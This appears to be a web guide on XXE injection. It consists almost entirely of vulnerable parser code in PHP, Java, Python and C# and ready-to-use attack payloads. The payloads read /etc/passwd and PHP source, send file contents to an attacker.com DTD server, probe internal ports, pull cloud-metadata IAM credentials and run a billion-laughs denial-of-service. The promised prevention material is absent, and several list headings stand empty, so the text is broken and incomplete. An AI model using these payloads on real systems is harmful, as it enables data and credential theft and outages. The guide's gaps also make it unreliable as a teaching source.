Comprehensive Guide to Understanding, Exploiting, and Preventing XXE Injection Attacks
XML External Entity (XXE) injection is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows attackers to view files on the application server filesystem, interact with backend systems, and potentially perform Server-Side Request Forgery (SSRF) attacks.
XXE vulnerabilities are dangerous because they:
Successful XXE exploitation allows attackers to:
XXE attacks typically follow this pattern:
<!-- Basic XML Structure -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY entityName "entityValue">
]>
<root>
<data>&entityName;</data>
</root>
<!-- External Entity Definition -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>
<?php
// VULNERABLE: libxml_disable_entity_loader(false) enables XXE
libxml_disable_entity_loader(false);
$xml = simplexml_load_string($_POST['xml']);
echo $xml->data;
// Attack payload:
/*
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>
*/
?>
// VULNERABLE: No protection against XXE
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xmlInput)));
// Attack allows file reading and SSRF
import xml.etree.ElementTree as ET
# VULNERABLE: Default parser allows XXE
def parse_xml(xml_string):
root = ET.fromstring(xml_string)
return root.find('data').text
# Attack payload can read files
// VULNERABLE: DtdProcessing enabled
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Parse;
XmlReader reader = XmlReader.Create(xmlStream, settings);
// Allows XXE attacks
Direct retrieval of file contents in the application response.
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>
<!-- Reading PHP source code -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<root>
<data>&xxe;</data>
</root>
Data exfiltration through DNS or HTTP when direct output is not possible.
<!-- DNS Exfiltration -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root><data>test</data></root>
<!-- evil.dtd on attacker server -->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;
Extracting data through error messages.
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/error.dtd">
%dtd;
]>
<root></root>
<!-- error.dtd -->
<!ENTITY % all "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%all;
%error;
<!-- Internal port scanning -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://localhost:22">
]>
<root><data>&xxe;</data></root>
<!-- Cloud metadata access -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>